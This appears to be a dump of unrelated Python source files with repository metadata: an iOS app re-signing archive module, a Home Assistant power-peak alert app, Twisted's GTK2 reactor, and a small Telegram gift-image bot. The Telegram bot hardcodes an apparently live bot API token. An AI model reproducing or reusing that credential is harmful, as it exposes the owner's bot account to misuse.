join(cls.find_bundle_dir(path), "Info.plist") @classmethod def get_info(cls, path): return biplist.readPlist(cls._get_plist_path(path)) @classmethod def precheck(cls, path): if not isdir(path): return False if not os.path.exists(cls._get_plist_path(path)): return False plist = cls.get_info(path) is_native = is_info_plist_native(plist) log.debug("is_native: {}".format(is_native)) return is_native @classmethod def archive(cls, path, output_path): if exists(output_path): shutil.rmtree(output_path) shutil.move(path, output_path) log.info("archived %s to %s" % (cls.__name__, output_path)) def __init__(self, path): self.path = path self.relative_bundle_dir = '.' self.bundle_info = self.get_info(self.path) def unarchive_to_temp(self): containing_dir = make_temp_dir() log.debug("unarchiving to temp... %s -> %s", self.path, containing_dir) shutil.rmtree(containing_dir) # quirk of copytree, top dir can't exist already shutil.copytree(self.path, containing_dir) process_watchkit(containing_dir, REMOVE_WATCHKIT) return UncompressedArchive(containing_dir, '.', self.__class__) class AppZipArchive(Archive): """ Just like an app, except it's zipped up, and when repackaged, should be re-zipped. """ app_dir_pattern = r'^([^/]+\.app/).*$' extensions = ['.zip'] helpers = ['zip', 'unzip'] @classmethod def is_helpers_present(cls): """ returns False if any of our helper apps wasn't found in class init """ is_present = True for helper_name in cls.helpers: if get_helper(helper_name) is None: log.error("missing helper for class {}: {}".format(cls.__name__, helper_name)) is_present = False break return is_present @classmethod def is_archive_extension_match(cls, path): """ does this path have the right extension """ log.debug('extension match') for extension in cls.extensions: log.debug('extension match: %s', extension) if path.endswith(extension): return True return False @classmethod def find_bundle_dir(cls, zipfile_obj): relative_bundle_dir = None apps = set() file_list = zipfile_obj.namelist() for file_name in file_list: matched = re.match(cls.app_dir_pattern, file_name) if matched: apps.add(matched.group(1)) if len(apps) == 1: log.debug("found one app") relative_bundle_dir = apps.pop() elif len(apps) > 1: log.warning('more than one app found in archive') else: log.warning('no apps found in archive') return relative_bundle_dir @classmethod def _get_plist_path(cls, relative_bundle_dir): return join(relative_bundle_dir, "Info.plist") @classmethod def precheck(cls, path): """ Checks if an archive looks like this kind of app. Have to examine within the zipfile, b/c we don't want to make temp dirs just yet. This recapitulates a very similar precheck in the Bundle class """ if not isfile(path): return False if not cls.is_helpers_present(): raise MissingHelpers("helpers not present") is_native = False log.debug('precheck') log.debug('path: %s', path) if (cls.is_archive_extension_match(path) and zipfile.is_zipfile(path)): log.debug("this is an archive, and a zipfile") zipfile_obj = zipfile.ZipFile(path) relative_bundle_dir = cls.find_bundle_dir(zipfile_obj) if relative_bundle_dir is not None: plist_path = cls._get_plist_path(relative_bundle_dir) if plist_path not in zipfile_obj.namelist(): return False plist = cls.get_info(relative_bundle_dir, zipfile_obj) is_native = is_info_plist_native(plist) log.debug("is_native: {}".format(is_native)) return is_native @classmethod def get_info(cls, relative_bundle_dir, zipfile_obj): plist_path = cls._get_plist_path(relative_bundle_dir) plist_bytes = zipfile_obj.read(plist_path) return biplist.readPlistFromString(plist_bytes) def __init__(self, path): self.path = path zipfile_obj = zipfile.ZipFile(path) self.relative_bundle_dir = self.find_bundle_dir(zipfile_obj) self.bundle_info = self.get_info(self.relative_bundle_dir, zipfile_obj) def unarchive_to_temp(self): containing_dir = make_temp_dir() call([get_helper('unzip'), "-qu", self.path, "-d", containing_dir]) app_dir = abspath(join(containing_dir, self.relative_bundle_dir)) process_watchkit(app_dir, REMOVE_WATCHKIT) return UncompressedArchive(containing_dir, self.relative_bundle_dir, self.__class__) @classmethod def archive(cls, containing_dir, output_path): """ archive this up into a zipfile. Note this is a classmethod, because the caller will use us on a temp directory somewhere """ # the temp file is necessary because zip always adds ".zip" if it # does not have an extension. But we want to respect the desired # output_path's extension, which could be ".ipa" or who knows. # So we move it to the output_path later. # # We also do a little dance with making another temp directory just # to construct the zip file. This is the best way to ensure the an unused # filename. Also, `zip` won't overwrite existing files, so this is safer. temp_zip_dir = None try: # need to chdir and use relative paths, because zip is stupid temp_zip_dir = tempfile.mkdtemp(prefix="isign-zip-") temp_zip_file = join(temp_zip_dir, 'temp.zip') call([get_helper('zip'), "-qr", temp_zip_file, "."], cwd=containing_dir) shutil.move(temp_zip_file, output_path) log.info("archived %s to %s" % (cls.__name__, output_path)) finally: if temp_zip_dir is not None and isdir(temp_zip_dir): shutil.rmtree(temp_zip_dir) class IpaArchive(AppZipArchive): """ IPA is Apple's standard for distributing apps. Much like an AppZip, but slightly different paths """ extensions = ['.ipa'] app_dir_pattern = r'^(Payload/[^/]+\.app/).*$' class UncompressedArchive(object): """ This just keeps track of some state with an unzipped app archive and how to re-zip it back up once re-signed. The bundle is located somewhere inside the containing directory, but might be a few directories down, like in a ContainingDir/Payload/something.app This class is also useful if you have an app that's already unzipped and you want to sign it. """ def __init__(self, path, relative_bundle_dir, archive_class): """ Path is the "Containing dir", the dir at the root level of the unzipped archive (or the dir itself, in the case of an AppArchive archive) relative bundle dir is the dir containing the bundle, e.g. Payload/Foo.app archive class is the kind of archive this was (Ipa, etc.) """ self.path = path self.relative_bundle_dir = relative_bundle_dir self.archive_class = archive_class bundle_path = normpath(join(path, relative_bundle_dir)) self.bundle = App(bundle_path) def archive(self, output_path): """ Re-zip this back up, or simply copy it out, depending on what the original archive class did """ self.archive_class.archive(self.path, output_path) def clone(self, target_path): """ Copy the uncompressed archive somewhere else, return initialized UncompressedArchive """ shutil.copytree(self.path, target_path) return self.__class__(target_path, self.relative_bundle_dir, self.archive_class) def remove(self): # the containing dir might be gone already b/c AppArchive simply moves # it to the desired target when done if exists(self.path) and isdir(self.path): log.debug('removing ua: %s', self.path) shutil.rmtree(self.path) def archive_factory(path): """ Guess what kind of archive we are dealing with, return an archive object. Returns None if path did not match any archive type """ archive = None for cls in [IpaArchive, AppZipArchive, AppArchive]: if cls.precheck(path): archive = cls(path) log.debug("File %s matched as %s", path, cls.__name__) break return archive def view(input_path): if not exists(input_path): raise IOError("{0} not found".format(input_path)) ua = None bundle_info = None try: archive = archive_factory(input_path) if archive is None: raise NotMatched('No matching archive type found') ua = archive.unarchive_to_temp() bundle_info = ua.bundle.info finally: if ua is not None: ua.remove() return bundle_info def resign(input_path, certificate, key, apple_cert, provisioning_profile, output_path, info_props=None, alternate_entitlements_path=None): """ Unified interface to extract any kind of archive from a temporary file, resign it with these credentials, and create a similar archive for that resigned app """ if not exists(input_path): raise IOError("{0} not found".format(input_path)) log.debug('Signing with apple_cert: {}'.format(apple_cert)) log.debug('Signing with key: {}'.format(key)) log.debug('Signing with certificate: {}'.format(certificate)) log.debug('Signing with provisioning_profile: {}'.format(provisioning_profile)) signer = Signer(signer_cert_file=certificate, signer_key_file=key, apple_cert_file=apple_cert) ua = None bundle_info = None try: archive = archive_factory(input_path) if archive is None: raise NotSignable('No matching archive type found') ua = archive.unarchive_to_temp() if info_props: # Override info.plist props of the parent bundle ua.bundle.update_info_props(info_props) ua.bundle.resign(signer, provisioning_profile, alternate_entitlements_path) bundle_info = ua.bundle.info ua.archive(output_path) except NotSignable as e: msg = "Not signable: <{0}>: {1}\n".format(input_path, e) log.info(msg) raise finally: if ua is not None: ua.remove() return bundle_info

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null

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null

0

1

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86852eaa353d7f71b07181e8c40327dffa81fc7f

12,985

py

Python

config/appdaemon/apps/power_alarm.py

azogue/hassio_config

591f158794c173d6391179ab2f52348d58c49aad

[ "MIT" ]

18

2018-07-22T15:19:20.000Z

2022-01-09T20:57:43.000Z

config/appdaemon/apps/power_alarm.py

azogue/hassio_config

591f158794c173d6391179ab2f52348d58c49aad

[ "MIT" ]

1

2020-04-30T08:33:36.000Z

2020-05-03T08:25:00.000Z

config/appdaemon/apps/power_alarm.py

azogue/hassio_config

591f158794c173d6391179ab2f52348d58c49aad

[ "MIT" ]

8

2018-07-21T09:29:53.000Z

2021-11-10T19:06:32.000Z

# -*- coding: utf-8 -*- """ Automation task as a AppDaemon App for Home Assistant - current meter PEAK POWER notifications """ import datetime as dt from enum import IntEnum import appdaemon.plugins.hass.hassapi as hass LOG_LEVEL = "INFO" LOG_LEVEL_ALERT = "WARNING" LOGGER = "special_event_log" COEF_CRITICAL_LIMIT = 1.1 # 10% over limit MIN_TIME_TURN_OFF_AC = 60 # secs # Big power consumers BIG_CONSUMER_1_CLIMATE = "switch.ac_dry_contact" BIG_CONSUMER_1_LABEL = "aire acondicionado" BIG_CONSUMER_2 = "switch.calentador" BIG_CONSUMER_2_LABEL = "calentador" _IOS_SOUND_POWER_PEAK = "US-EN-Morgan-Freeman-Vacate-The-Premises.wav" class TypeNotif(IntEnum): """ Handler for different kinds of power notifications. Used to centralize push message construction. """ ALERT_OFF = 0 ALERT_ON = 1 ALERT_CRITICAL = 2 def make_ios_push_data(self, data_msg: dict) -> dict: if self.value == self.ALERT_CRITICAL: push_data = { "category": "powerpeak", "badge": 10, "sound": _IOS_SOUND_POWER_PEAK, "critical": 1, "volume": 1.0, "thread-id": "power-peak-group", } elif self.value == self.ALERT_ON: push_data = { "category": "powerpeak", "thread-id": "power-peak-group", "badge": 1, "critical": 1, "sound": _IOS_SOUND_POWER_PEAK, } else: push_data = { "category": "confirm", "thread-id": "power-peak-group", "sound": _IOS_SOUND_POWER_PEAK, "badge": 0, } data_msg["data"] = {"push": push_data} return data_msg def make_telegram_push_data(self, data_msg: dict, target: int) -> dict: data_msg["target"] = target data_msg["disable_notification"] = self.value == self.ALERT_OFF data_msg["inline_keyboard"] = [ [("Luces ON", "/luceson"), ("Luces OFF", "/lucesoff")], [ ("Potencia eléctrica", "/enerpi"), ("Grafs. enerPI", "/enerpitiles"), ], [ ( "Calentador OFF", "/service_call switch/turn_off switch.calentador", ), ( "AC OFF", "/service_call switch/turn_off switch.ac_dry_contact", ), ], ] return data_msg def make_notification_message( self, current_peak, last_trigger, alarm_start, devices_off="", pow_instant=0.0, pow_sustained=0.0, ) -> dict: if self.value == self.ALERT_CRITICAL: return { "title": "¡El automático está a punto de saltar!", "message": ( f"Apagando {devices_off} para intentar evitar " "la sobrecarga eléctrica." ), } time_now = ( "{:%H:%M:%S}".format(last_trigger) if last_trigger is not None else "???" ) if self.value == self.ALERT_ON: data_msg = { "title": "Alto consumo eléctrico!", "message": ( f"Peak: {current_peak} W en {time_now}. " f"Ahora {pow_instant} W ({pow_sustained} sostenidos)" ), } data_msg["message"] = data_msg["message"].format( current_peak, time_now, pow_instant, pow_sustained ) else: duration_min = ( dt.datetime.now() - alarm_start ).total_seconds() / 60.0 data_msg = { "title": "Consumo eléctrico: Normal", "message": ( f"Potencia normal desde {time_now}, " f"Pico de potencia: {current_peak} W. " f"Alerta iniciada hace {duration_min:.1f} min." ), } return data_msg # noinspection PyClassHasNoInit class PeakNotifier(hass.Hass): """ App to notify power peaks (when they are greater than a certain limit), and after that, notify when back to normal (< lower limit). """ # Limit Values _max_peak: float _upper_limit: float _lower_limit: float _min_time_high: int _min_time_low: int # App user inputs _main_power: str _main_power_peak: str _notifier: str _target_sensor: str _alarm_state: bool = False _critical_alarm_state: bool = False _last_trigger = None _alarm_start = None _turn_off_measure_taken = False _current_peak = 0 def initialize(self): """AppDaemon required method for app init.""" self._main_power = self.args.get("sustained_power") self._main_power_peak = self.args.get("instant_power") self._notifier = self.config.get("notifier").replace(".", "/") self._target_sensor = self.config.get("chatid_sensor") # Power limits self._upper_limit = float(self.args.get("max_power_kw")) * 1000.0 self._lower_limit = float(self.args.get("max_power_kw_reset")) * 1000.0 self._min_time_high = int(self.args.get("min_time_high")) self._min_time_low = int(self.args.get("min_time_low")) # TODO implement _max_peak over _instant_power self._max_peak = float(self.args.get("max_power_peak_kw")) * 1000.0 # Listen for Main Power changes: self.listen_state(self.main_power_change, self._main_power) self.log( f"PeakNotifier Initialized. P={self._main_power}, " f"with P>{self._upper_limit} W for {self._min_time_high} secs, " f"(low={self._lower_limit} W for {self._min_time_low} secs). " f"Notify: {self._notifier}.", level=LOG_LEVEL, log=LOGGER, ) def notify_alert(self, type_notif: TypeNotif, data: dict): ios_alarm_msg = type_notif.make_ios_push_data(data.copy()) tlg_alarm_msg = type_notif.make_telegram_push_data( data.copy(), target=int(self.get_state(self._target_sensor)), ) self.call_service(self._notifier, **ios_alarm_msg) self.call_service("telegram_bot/send_message", **tlg_alarm_msg) # noinspection PyUnusedLocal def peak_power_change(self, entity, attribute, old, new, kwargs): """Power Peak ALARM logic control.""" try: new = int(float(new)) except ValueError: return # Update peak if new > self._upper_limit and new > self._current_peak: self._current_peak = new # noinspection PyUnusedLocal def main_power_change(self, entity, attribute, old, new, kwargs): """Sustained Power ALARM logic control.""" try: new = int(float(new)) except ValueError: return now = dt.datetime.now() if not self._alarm_state and (new > self._upper_limit): if new > self._current_peak: self._current_peak = new # Pre-Alarm state, before trigger if self._last_trigger is None: # Start power peak event self.log( "New power peak event at {} with P={} W".format(now, new), level=LOG_LEVEL, log=LOGGER, ) self._last_trigger = now elif ( now - self._last_trigger ).total_seconds() > self._min_time_high: # TRIGGER ALARM self._alarm_start = now self._turn_off_measure_taken = False type_notif = TypeNotif.ALERT_ON data = type_notif.make_notification_message( self._current_peak, self._last_trigger, self._alarm_start, pow_instant=self.get_state(self._main_power_peak), pow_sustained=new, ) self.log( f"TRIGGER ALARM with msg={data}", level=LOG_LEVEL_ALERT, log=LOGGER, ) self.notify_alert(type_notif, data) self._alarm_state = True self._critical_alarm_state = False self._last_trigger = now # else: # wait some more time # (this is the same power peak event, # waiting min time to trigger alarm) # pass elif self._alarm_state: # Alarm state, waiting for reset if new > self._current_peak: self._current_peak = new if ( not self._turn_off_measure_taken and new > self._upper_limit * COEF_CRITICAL_LIMIT ): self.log( "ENABLE CRITICAL ALARM with {} W".format(new), level=LOG_LEVEL_ALERT, log=LOGGER, ) self._critical_alarm_state = True elif new < self._lower_limit: if ( now - self._last_trigger ).total_seconds() > self._min_time_low: # RESET ALARM type_notif = TypeNotif.ALERT_OFF data = type_notif.make_notification_message( self._current_peak, self._last_trigger, self._alarm_start, ) self.log( "RESET ALARM MODE at {}".format(now), level=LOG_LEVEL, log=LOGGER, ) self.notify_alert(type_notif, data) self._alarm_state = False self._critical_alarm_state = False self._last_trigger = None self._alarm_start = None self._turn_off_measure_taken = False self._current_peak = 0 elif ( not self._turn_off_measure_taken and self._critical_alarm_state and new < self._upper_limit ): self.log( "DISABLE CRITICAL ALARM (now {} W)".format(new), level=LOG_LEVEL_ALERT, log=LOGGER, ) self._critical_alarm_state = False elif ( not self._turn_off_measure_taken and self._critical_alarm_state and ( (now - self._alarm_start).total_seconds() > MIN_TIME_TURN_OFF_AC ) ): # Turn off AC if AC + heater are ON self._turn_off_measure_taken = True self._critical_alarm_state = False devices_turning_off = "" if self.get_state(BIG_CONSUMER_1_CLIMATE) == "on": devices_turning_off = BIG_CONSUMER_1_LABEL self.call_service("climate/turn_off", entity_id="all") elif self.get_state(BIG_CONSUMER_2) == "on": devices_turning_off = BIG_CONSUMER_2_LABEL self.call_service( "switch/turn_off", entity_id=BIG_CONSUMER_2 ) if devices_turning_off: # Notification of devices turned off self.log( f"CRITICAL ACTION: Turn off '{devices_turning_off}'", level="ERROR", log=LOGGER, ) type_notif = TypeNotif.ALERT_CRITICAL data = type_notif.make_notification_message( self._current_peak, self._last_trigger, self._alarm_start, devices_off=devices_turning_off, pow_instant=self.get_state(self._main_power_peak), pow_sustained=new, ) self.notify_alert(type_notif, data) self._last_trigger = now else: self._last_trigger = now elif (self._last_trigger is not None) and ( (now - self._last_trigger).total_seconds() > self._min_time_low ): # Normal operation, reset last trigger if no more in min_time_lower self.log( "RESET LAST TRIGGER (was in {})".format(self._last_trigger), level=LOG_LEVEL, log=LOGGER, ) self._last_trigger = None self._current_peak = 0

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null

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86857d42e426b63b37d2aa71caa37b9b57dd862e

13,391

py

Python

mailmynet/Maildir/proxy_postfix/Twisted-11.0.0/build/lib.linux-x86_64-2.6/twisted/internet/gtk2reactor.py

SPIN-UMass/SWEET

1b0f39222e7064f70812e3293ca023619295741d

[ "MIT" ]

3

2020-04-02T06:23:44.000Z

2020-08-13T20:32:31.000Z

mailmynet/Maildir/proxy_postfix/Twisted-11.0.0/twisted/internet/gtk2reactor.py

SPIN-UMass/SWEET

1b0f39222e7064f70812e3293ca023619295741d

[ "MIT" ]

null

mailmynet/Maildir/proxy_postfix/Twisted-11.0.0/twisted/internet/gtk2reactor.py

SPIN-UMass/SWEET

1b0f39222e7064f70812e3293ca023619295741d

[ "MIT" ]

1

2020-04-02T06:26:10.000Z

# -*- test-case-name: twisted.internet.test -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ This module provides support for Twisted to interact with the glib/gtk2 mainloop. In order to use this support, simply do the following:: | from twisted.internet import gtk2reactor | gtk2reactor.install() Then use twisted.internet APIs as usual. The other methods here are not intended to be called directly. When installing the reactor, you can choose whether to use the glib event loop or the GTK+ event loop which is based on it but adds GUI integration. """ # System Imports import sys, signal from zope.interface import implements try: if not hasattr(sys, 'frozen'): # Don't want to check this for py2exe import pygtk pygtk.require('2.0') except (ImportError, AttributeError): pass # maybe we're using pygtk before this hack existed. import gobject if hasattr(gobject, "threads_init"): # recent versions of python-gtk expose this. python-gtk=2.4.1 # (wrapping glib-2.4.7) does. python-gtk=2.0.0 (wrapping # glib-2.2.3) does not. gobject.threads_init() # Twisted Imports from twisted.python import log, runtime, failure from twisted.python.compat import set from twisted.internet.interfaces import IReactorFDSet from twisted.internet import main, base, posixbase, error, selectreactor POLL_DISCONNECTED = gobject.IO_HUP | gobject.IO_ERR | gobject.IO_NVAL # glib's iochannel sources won't tell us about any events that we haven't # asked for, even if those events aren't sensible inputs to the poll() # call. INFLAGS = gobject.IO_IN | POLL_DISCONNECTED OUTFLAGS = gobject.IO_OUT | POLL_DISCONNECTED def _our_mainquit(): # XXX: gtk.main_quit() (which is used for crash()) raises an exception if # gtk.main_level() == 0; however, all the tests freeze if we use this # function to stop the reactor. what gives? (I believe this may have been # a stupid mistake where I forgot to import gtk here... I will remove this # comment if the tests pass) import gtk if gtk.main_level(): gtk.main_quit() class Gtk2Reactor(posixbase.PosixReactorBase): """ GTK+-2 event loop reactor. @ivar _sources: A dictionary mapping L{FileDescriptor} instances to gtk watch handles. @ivar _reads: A set of L{FileDescriptor} instances currently monitored for reading. @ivar _writes: A set of L{FileDescriptor} instances currently monitored for writing. @ivar _simtag: A gtk timeout handle for the next L{simulate} call. """ implements(IReactorFDSet) def __init__(self, useGtk=True): self._simtag = None self._reads = set() self._writes = set() self._sources = {} posixbase.PosixReactorBase.__init__(self) # pre 2.3.91 the glib iteration and mainloop functions didn't release # global interpreter lock, thus breaking thread and signal support. if getattr(gobject, "pygtk_version", ()) >= (2, 3, 91) and not useGtk: self.context = gobject.main_context_default() self.__pending = self.context.pending self.__iteration = self.context.iteration self.loop = gobject.MainLoop() self.__crash = self.loop.quit self.__run = self.loop.run else: import gtk self.__pending = gtk.events_pending self.__iteration = gtk.main_iteration self.__crash = _our_mainquit self.__run = gtk.main if runtime.platformType == 'posix': def _handleSignals(self): # Let the base class do its thing, but pygtk is probably # going to stomp on us so go beyond that and set up some # signal handling which pygtk won't mess with. This would # be better done by letting this reactor select a # different implementation of installHandler for # _SIGCHLDWaker to use. Then, at least, we could fall # back to our extension module. See #4286. from twisted.internet.process import reapAllProcesses as _reapAllProcesses base._SignalReactorMixin._handleSignals(self) signal.signal(signal.SIGCHLD, lambda *a: self.callFromThread(_reapAllProcesses)) if getattr(signal, "siginterrupt", None) is not None: signal.siginterrupt(signal.SIGCHLD, False) # Like the base, reap processes now in case a process # exited before the handlers above were installed. _reapAllProcesses() # The input_add function in pygtk1 checks for objects with a # 'fileno' method and, if present, uses the result of that method # as the input source. The pygtk2 input_add does not do this. The # function below replicates the pygtk1 functionality. # In addition, pygtk maps gtk.input_add to _gobject.io_add_watch, and # g_io_add_watch() takes different condition bitfields than # gtk_input_add(). We use g_io_add_watch() here in case pygtk fixes this # bug. def input_add(self, source, condition, callback): if hasattr(source, 'fileno'): # handle python objects def wrapper(source, condition, real_s=source, real_cb=callback): return real_cb(real_s, condition) return gobject.io_add_watch(source.fileno(), condition, wrapper) else: return gobject.io_add_watch(source, condition, callback) def _add(self, source, primary, other, primaryFlag, otherFlag): """ Add the given L{FileDescriptor} for monitoring either for reading or writing. If the file is already monitored for the other operation, we delete the previous registration and re-register it for both reading and writing. """ if source in primary: return flags = primaryFlag if source in other: gobject.source_remove(self._sources[source]) flags |= otherFlag self._sources[source] = self.input_add(source, flags, self.callback) primary.add(source) def addReader(self, reader): """ Add a L{FileDescriptor} for monitoring of data available to read. """ self._add(reader, self._reads, self._writes, INFLAGS, OUTFLAGS) def addWriter(self, writer): """ Add a L{FileDescriptor} for monitoring ability to write data. """ self._add(writer, self._writes, self._reads, OUTFLAGS, INFLAGS) def getReaders(self): """ Retrieve the list of current L{FileDescriptor} monitored for reading. """ return list(self._reads) def getWriters(self): """ Retrieve the list of current L{FileDescriptor} monitored for writing. """ return list(self._writes) def removeAll(self): """ Remove monitoring for all registered L{FileDescriptor}s. """ return self._removeAll(self._reads, self._writes) def _remove(self, source, primary, other, flags): """ Remove monitoring the given L{FileDescriptor} for either reading or writing. If it's still monitored for the other operation, we re-register the L{FileDescriptor} for only that operation. """ if source not in primary: return gobject.source_remove(self._sources[source]) primary.remove(source) if source in other: self._sources[source] = self.input_add( source, flags, self.callback) else: self._sources.pop(source) def removeReader(self, reader): """ Stop monitoring the given L{FileDescriptor} for reading. """ self._remove(reader, self._reads, self._writes, OUTFLAGS) def removeWriter(self, writer): """ Stop monitoring the given L{FileDescriptor} for writing. """ self._remove(writer, self._writes, self._reads, INFLAGS) doIterationTimer = None def doIterationTimeout(self, *args): self.doIterationTimer = None return 0 # auto-remove def doIteration(self, delay): # flush some pending events, return if there was something to do # don't use the usual "while self.context.pending(): self.context.iteration()" # idiom because lots of IO (in particular test_tcp's # ProperlyCloseFilesTestCase) can keep us from ever exiting. log.msg(channel='system', event='iteration', reactor=self) if self.__pending(): self.__iteration(0) return # nothing to do, must delay if delay == 0: return # shouldn't delay, so just return self.doIterationTimer = gobject.timeout_add(int(delay * 1000), self.doIterationTimeout) # This will either wake up from IO or from a timeout. self.__iteration(1) # block # note: with the .simulate timer below, delays > 0.1 will always be # woken up by the .simulate timer if self.doIterationTimer: # if woken by IO, need to cancel the timer gobject.source_remove(self.doIterationTimer) self.doIterationTimer = None def crash(self): posixbase.PosixReactorBase.crash(self) self.__crash() def run(self, installSignalHandlers=1): self.startRunning(installSignalHandlers=installSignalHandlers) gobject.timeout_add(0, self.simulate) if self._started: self.__run() def _doReadOrWrite(self, source, condition, faildict={ error.ConnectionDone: failure.Failure(error.ConnectionDone()), error.ConnectionLost: failure.Failure(error.ConnectionLost()), }): why = None inRead = False if condition & POLL_DISCONNECTED and not (condition & gobject.IO_IN): if source in self._reads: why = main.CONNECTION_DONE inRead = True else: why = main.CONNECTION_LOST else: try: if condition & gobject.IO_IN: why = source.doRead() inRead = True if not why and condition & gobject.IO_OUT: # if doRead caused connectionLost, don't call doWrite # if doRead is doWrite, don't call it again. if not source.disconnected: why = source.doWrite() except: why = sys.exc_info()[1] log.msg('Error In %s' % source) log.deferr() if why: self._disconnectSelectable(source, why, inRead) def callback(self, source, condition): log.callWithLogger(source, self._doReadOrWrite, source, condition) self.simulate() # fire Twisted timers return 1 # 1=don't auto-remove the source def simulate(self): """ Run simulation loops and reschedule callbacks. """ if self._simtag is not None: gobject.source_remove(self._simtag) self.runUntilCurrent() timeout = min(self.timeout(), 0.1) if timeout is None: timeout = 0.1 # grumble self._simtag = gobject.timeout_add(int(timeout * 1010), self.simulate) class PortableGtkReactor(selectreactor.SelectReactor): """ Reactor that works on Windows. Sockets aren't supported by GTK+'s input_add on Win32. """ _simtag = None def crash(self): selectreactor.SelectReactor.crash(self) import gtk # mainquit is deprecated in newer versions if gtk.main_level(): if hasattr(gtk, 'main_quit'): gtk.main_quit() else: gtk.mainquit() def run(self, installSignalHandlers=1): import gtk self.startRunning(installSignalHandlers=installSignalHandlers) gobject.timeout_add(0, self.simulate) # mainloop is deprecated in newer versions if hasattr(gtk, 'main'): gtk.main() else: gtk.mainloop() def simulate(self): """ Run simulation loops and reschedule callbacks. """ if self._simtag is not None: gobject.source_remove(self._simtag) self.iterate() timeout = min(self.timeout(), 0.1) if timeout is None: timeout = 0.1 # grumble self._simtag = gobject.timeout_add(int(timeout * 1010), self.simulate) def install(useGtk=True): """ Configure the twisted mainloop to be run inside the gtk mainloop. @param useGtk: should glib rather than GTK+ event loop be used (this will be slightly faster but does not support GUI). """ reactor = Gtk2Reactor(useGtk) from twisted.internet.main import installReactor installReactor(reactor) return reactor def portableInstall(useGtk=True): """ Configure the twisted mainloop to be run inside the gtk mainloop. """ reactor = PortableGtkReactor() from twisted.internet.main import installReactor installReactor(reactor) return reactor if runtime.platform.getType() != 'posix': install = portableInstall __all__ = ['install']

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null

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null

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0

8687420e46b4f12f33134641d5dcf6986b995994

4,012

py

Python

bot.py

menlen/one

e24f1489d98faa9b548ebd668f2860c8d671b489

[ "Apache-2.0" ]

null

bot.py

menlen/one

e24f1489d98faa9b548ebd668f2860c8d671b489

[ "Apache-2.0" ]

null

bot.py

menlen/one

e24f1489d98faa9b548ebd668f2860c8d671b489

[ "Apache-2.0" ]

null

# This example show how to use inline keyboards and process button presses import telebot import time from telebot.types import InlineKeyboardMarkup, InlineKeyboardButton import os, sys from PIL import Image, ImageDraw, ImageFont import random TELEGRAM_TOKEN = '1425859530:AAF5MQE87Zg_bv3B2RLe3Vl2A5rMz6vYpsA' bot = telebot.TeleBot(TELEGRAM_TOKEN) channelId = -1001390673326 user_dict = {} def TextToImg(ext): IMAGES = [ 'AROQ.jpg', 'AK47.jpg', 'BAXT.jpg', 'BASKETBOL.jpg', 'BAXTLI.jpg', 'DOST.jpg', 'ER.jpg', 'ETIK.jpg', 'FUTBOL.jpg', 'GAZ.jpg', 'HOTIN.jpg', 'BAXT.jpg', 'IPHONE.jpg', 'KOLBASA.jpg', 'KONFET.jpg', 'KOZGU.jpg', 'KUCHUK.jpg', 'MOSHINA.jpg', 'NEWISHTON.jpg', 'NOTEBOOK.jpg', 'OMAD.jpg', 'OYINCHOQ.jpg', 'PAYPQO.jpg', 'BAXT.jpg', 'PUL.jpg', 'PULTUG.jpg', 'QORQIZ.jpg', 'SOSISKA.jpg', 'TELEFON.jpg', 'TELEFONZ.jpg', 'TOK.jpg', 'TORSHIM.jpg', 'TUYA.jpg', 'UY.jpg', 'ZAMBARAK.jpg' ] try: img = random.choice(IMAGES) except: time.sleep(2) img = random.choice(IMAGES) # get an image base = Image.open(img).convert("RGBA") ext = ext.upper() text = ext # make a blank image for the text, initialized to transparent text color txt = Image.new("RGBA", base.size, (255,255,255,0)) # get a font fnt = ImageFont.truetype("OpenSans-Italic.ttf", 40) # get a drawing context d = ImageDraw.Draw(txt) # draw text, half opacity d.text(((800)/2,(1136)/2), text, font=fnt, fill=(255,0,0,255), anchor='mb') out = Image.alpha_composite(base, txt) filename = random.randint(1,35) g = out.save(f'{filename}.png') return filename def gen_markup(): markup = InlineKeyboardMarkup() markup.row_width = 1 markup.add(InlineKeyboardButton("Azo bo'ling", callback_data="cb_yes", url='t.me/onideal'), InlineKeyboardButton("Tasdiqlash", callback_data="cb_no")) return markup def getUserFromChannel(userId): u = bot.get_chat_member(channelId, userId) return u.status @bot.callback_query_handler(func=lambda call: True) def callback_query(call): if call.data == "cb_yes": bot.answer_callback_query(call.id, "Answer is Yes") elif call.data == "cb_no": u = getUserFromChannel(call.from_user.id) if u == 'member': msg = bot.send_message(call.from_user.id, """\ Juda soz!!!, Ismingizni yozing """) bot.register_next_step_handler(msg, process_name_step) else: bot.send_message(call.from_user.id, f"Salom {call.from_user.first_name}, kanallarga a'zo bo'ling va A'zolikni tekshirish buyrug'ini tanlang", reply_markup=gen_markup()) def process_name_step(message): try: name = message.text myfile = TextToImg(name) photoSend = open(f'{myfile}.png', 'rb') caption = f'{name} : ismiga sovga @onideal \n@giftmerobot \n@mygiftrobot' bot.send_photo(message.chat.id, photoSend, caption=caption) except Exception as e: bot.reply_to(message, 'oooops') @bot.message_handler(func=lambda message: True) def message_handler(message): us = getUserFromChannel(message.chat.id) if us == 'member': msg = bot.send_message(message.chat.id, """\ Juda soz!!!, Ismingizni yozing """) bot.register_next_step_handler(msg, process_name_step) else: bot.send_message(message.chat.id, f"Salom {message.from_user.first_name}, kanallarga a'zo bo'ling va A'zolikni tekshirish buyrug'ini tanlang", reply_markup=gen_markup()) bot.polling(none_stop=True)

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null

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86880b5b73b7634f999e8879e1b07c2360a00ae8

6,256

py

Python

tests/unit/types/message/test_message.py

Immich/jina

1f5f7cf4d82029d76ab41df157526fe6f6e0da50

[ "Apache-2.0" ]

1

2021-02-25T19:28:50.000Z

tests/unit/types/message/test_message.py

Immich/jina

1f5f7cf4d82029d76ab41df157526fe6f6e0da50

[ "Apache-2.0" ]

4

2020-09-01T17:47:27.000Z

2021-04-16T23:11:57.000Z

tests/unit/types/message/test_message.py

Immich/jina

1f5f7cf4d82029d76ab41df157526fe6f6e0da50

[ "Apache-2.0" ]

null

